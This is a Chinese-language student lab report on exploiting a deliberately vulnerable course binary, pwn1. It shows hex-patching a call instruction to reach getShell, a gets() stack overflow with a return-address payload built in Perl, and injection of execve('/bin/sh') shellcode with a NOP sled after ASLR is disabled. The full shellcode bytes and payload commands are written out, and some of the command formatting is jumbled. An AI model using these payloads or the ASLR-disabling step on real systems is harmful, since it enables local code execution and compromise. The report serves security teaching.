一、实验内容
本次实验以Linux可执行文件pwn1为对象,核心目标是通过三种技术手段篡改程序执行流程,触发原本不可运行的getShell函数或自定义shellcode,具体如下:
(一)手工修改可执行文件,直接跳转到getShell函数
通过objdump工具反汇编pwn1,获取main函数调用foo的指令地址,以及getShell函数的入口地址;使用二进制编辑工具修改main函数中“调用foo”的call指令目标地址,将其替换为getShell的入口地址,使程序启动后直接执行getShell,绕过正常的main→foo调用流程。
(二)利用foo函数的Bof漏洞,覆盖返回地址触发getShell
foo函数因调用gets()(无输入长度限制)存在栈溢出(Bof)漏洞。通过分析foo的栈结构,计算覆盖函数返回地址(EIP)的偏移量,构造含getShell入口地址(需符合x86架构小端字节序)的攻击字符串;将该字符串注入pwn1,利用栈溢出覆盖栈中原本的返回地址,使foo执行完毕后,程序跳转到getShell而非原返回地址。
(三)注入自定义shellcode并运行
首先关闭pwn1的NX保护,确保栈中代码可被CPU执行;编写“获取交互式Shell”的32位Linux自定义shellcode(核心功能为调用execve("/bin/sh"));通过gdb调试确定shellcode在栈中的起始地址,构造含NOP填充(容错地址偏差)与shellcode的攻击Payload;利用foo函数的栈溢出漏洞,将Payload注入程序,使程序执行流跳转到栈中的shellcode,最终运行自定义代码并获取Shell。
实验过程需熟练使用gdb(程序调试)、objdump(反汇编)、perl(构造攻击字符串)等工具,重点理解小端字节序、栈结构、堆栈权限等底层核心概念,掌握“篡改执行流”“漏洞利用”“代码注入”三类典型攻击思路。
二、实验过程
1. 直接修改程序机器指令,改变程序执行流程
- 文件准备与反汇编
将目标文件pwn1导入Linux虚拟机,执行指令:
分析得知:objdump -d pwn1 > pwn1_disasm.txt # 反汇编结果输出到文件,便于分析main函数调用foo的指令机器码为e8 d7 ff ff ff(d7 ff ff ff是指向foo的偏移),需将偏移改为c3 ff ff ff(对应getShell入口地址0x0804847d)。

- 复制文件并进入十六进制编辑
避免破坏原文件,先复制文件:
在Vi中切换为十六进制显示模式:cp pwn1 20232325pwn2 vi 20232325pwn2 # 用Vi打开复制文件:%!xxd # 文本转十六进制

- 修改机器码并恢复格式
搜索需修改的内容:
将/e8d7 # 查找call指令对应的十六进制"e8 d7"d7改为c3,之后恢复二进制格式并保存::%!xxd -r # 十六进制转文本(二进制) :wq # 保存退出


- 验证修改结果
因20232325pwn2异常,重新创建20232325pwn22并重复上述修改;
验证call指令目标:
运行验证:objdump -d 20232325pwn22 | grep call # 确认是否指向getShell./20232325pwn22 # 成功弹出shell提示符($)

2. 通过构造输入参数,发起BOF攻击,改变程序执行流
2.1 漏洞前置分析
执行反汇编指令了解程序结构:
objdump -d pwn1
关键信息:
foo函数用gets()读取输入,仅预留28字节缓冲区,存在BOF漏洞;main调用foo时,会将返回地址0x080484ba压入栈,输入超28字节会覆盖该地址。

2.2 定位返回地址覆盖位置
构造规律测试字符串(共40字节):
1111111122222222333333334444444412345678
(前32字节分段填充,后8字节用12345678标记返回地址区域)
程序崩溃后通过GDB调试发现:返回地址被1234(ASCII码0x34333231)覆盖,即第33-36字节会覆盖返回地址(EIP)。

2.3 确定覆盖返回地址的数值
getShell入口地址:0x0804847d(反汇编获取);- 字节序:x86为小端序,地址需转为
\x7d\x84\x04\x08(而非大端\x08\x04\x84\x7d); - 攻击字符串结构:
前32字节填充字符 + \x7d\x84\x04\x08。

2.4 构造攻击字符串并触发漏洞
用Perl生成含十六进制字符的攻击字符串:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
(\x0a为换行符,确保gets()完整读取)
通过管道注入输入:
cat input | ./pwn1 # 成功弹出shell提示符

3. 注入Shellcode并执行
3.1 准备Shellcode
选用32位Linux“获取交互式Shell”的经典Shellcode(23字节):
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
功能:调用execve("/bin/sh", ["/bin/sh", NULL], NULL),获取Shell。
3.2 关闭地址随机化
Linux默认开启地址随机化(干扰Shellcode地址定位),执行关闭指令(需root权限):
more /proc/sys/kernel/randomize_va_space # 查看当前值(默认2)
echo "0" > /proc/sys/kernel/randomize_va_space # 关闭随机化
more /proc/sys/kernel/randomize_va_space # 验证(显示0)

3.3 构造注入Payload
采用“NOP填充 + Shellcode + 返回地址”结构:
- NOP填充:10字节
\x90(容错地址偏差,作为“滑行区”); - 返回地址:需指向栈中NOP区域(确保跳转到NOP后滑入Shellcode)。

3.4 调试获取返回地址
- 终端1启动程序:
./pwn20232325 # 保持等待输入状态

- 终端2查找进程号并附加GDB:
ps -aux | grep pwn20232325 # 示例进程号:7685 gdb -p 7685 # 附加调试

- GDB中设置断点并查看栈地址:
终端1输入任意字符触发断点,GDB中查看栈指针:b foo # 在foo函数入口设断点 c # 继续运行程序info registers esp # 示例ESP地址:0xffffd000,确定返回地址为0xffffd010


3.5 执行注入并验证
将返回地址0xffffd010转为小端\x10\xd0\xff\xff,生成Payload:
perl -e 'print "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" . "\x10\xd0\xff\xff\x0a"' > shellcode_input

注入执行:
cat shellcode_input | ./pwn20232325 # 成功弹出shell提示符

三、问题分析
问题1:gdb调试pwn1提示“权限不够”
描述
启动gdb pwn1调试程序时,终端反复提示权限不足,无法加载程序进行调试。
解决方案
通过分析判断,问题根源为pwn1缺少可执行权限(Linux中可执行文件需x权限才能运行或调试)。执行以下指令为pwn1添加可执行权限:
chmod +x pwn1 # 赋予文件所有者可执行权限
权限添加后,重新启动gdb pwn1,可正常加载程序进行调试。
问题2:cp复制的pwn2修改后无法正常运行
描述
通过cp pwn1 pwn2复制文件后,按步骤修改二进制指令并保存,但执行./pwn2时提示“无法执行二进制文件”或程序崩溃,排除修改操作错误的可能。
解决方案
对比原文件pwn1与复制文件pwn2的属性,发现cp命令虽复制了文件内容,但可能因系统环境或文件权限继承问题导致文件完整性异常。改用图形化界面复制,确保文件属性与原文件一致;重新对图形化复制的pwn2进行二进制修改,保存后执行./pwn2,程序可正常运行并触发getShell。
问题3:gdb依赖包反复下载失败,无法推进实验
描述
首次使用gdb时,系统提示缺少gdb-multiarch或相关依赖包,执行apt install gdb尝试安装,但因软件源配置异常或网络问题,下载过程频繁中断,始终无法完成安装,导致调试环节停滞。
解决方案
考虑到现有虚拟机环境配置存在底层问题,选择重新安装虚拟机,并在新系统中优先更新软件源:
sudo apt update # 更新软件源列表
sudo apt install gdb # 重新安装gdb
新环境中gdb安装成功,可正常启动并调试pwn1,实验得以继续。
四、学习感悟
这次实验首先让我对网络攻防的认识从高高在上、云里雾里的高端技术落地到可以一步步操作的具体过程,让我对网络攻防有了更直观的认识。
同样我也明白了想要学习好网络攻防是需要有一套完整的综合技能的,比如linux的基础知识、vi的使用、gdb调试程序等等,当然在这个过程中不擅长的总比擅长的多,不能畏惧艰难,而是坚持学习,使用各种工具和资料咬着牙做下去,网络攻防技术才能进一步精进。
当遇到不在预期内的困难时,也不能急躁,而是通过观察具体地址与数据、搜索具体资料、向ai提问来解决并搞懂到底为什么出现这些问题。
本次实验让我受益良多,同时也激发了我对网络攻防技术的兴趣,在日后的学习生活中我一定会进一步精进自己的技术,征服一个个高峰。
